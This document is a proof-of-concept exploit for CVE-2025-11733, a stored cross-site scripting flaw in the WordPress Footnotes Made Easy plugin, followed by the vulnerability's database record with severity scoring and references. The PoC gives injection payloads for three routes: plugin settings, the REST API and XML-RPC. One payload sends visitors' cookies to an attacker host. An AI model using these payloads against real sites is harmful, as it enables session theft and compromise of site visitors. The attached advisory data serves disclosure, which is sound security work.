CVE-2025-11733

<!-- CVE-2025-11733 PoC - Stored XSS in Footnotes Made Easy plugin --> <!-- Attack Vector: Inject malicious script via plugin settings --> <!-- Method 1: Via Plugin Settings --> <!-- Navigate to WordPress admin > Footnotes Made Easy settings --> <!-- Insert the following payload in any footnote field: --> <script>alert(document.cookie)</script> <!-- Method 2: Via WordPress REST API --> <!-- POST /wp-json/wp/v2/posts/{id} --> { "content": "Test footnote<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" } <!-- Method 3: Via XML-RPC --> <!-- POST /xmlrpc.php --> <methodCall> <methodName>wp.newPost</methodName> <params> <param><value><string>username</string></value></param> <param><value><string>password</string></value></param> <param><value><struct> <member><name>post_content</name><value><string>[ footnote ]<script>alert('XSS')</script>[/footnote]</string></value></member> </struct></value></param> </params> </methodCall> <!-- Exploitation Result: Stored script executes on page load for all visitors -->

{"cve": {"id": "CVE-2025-11733", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:15:57.840", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Footnotes Made Easy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 3.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/footnotes-made-easy/tags/3.0.7/footnotes-made-easy.php#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3388488/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6f6662f-1013-4de1-9091-1ac330260eed?source=cve", "source": "[email protected]"}]}}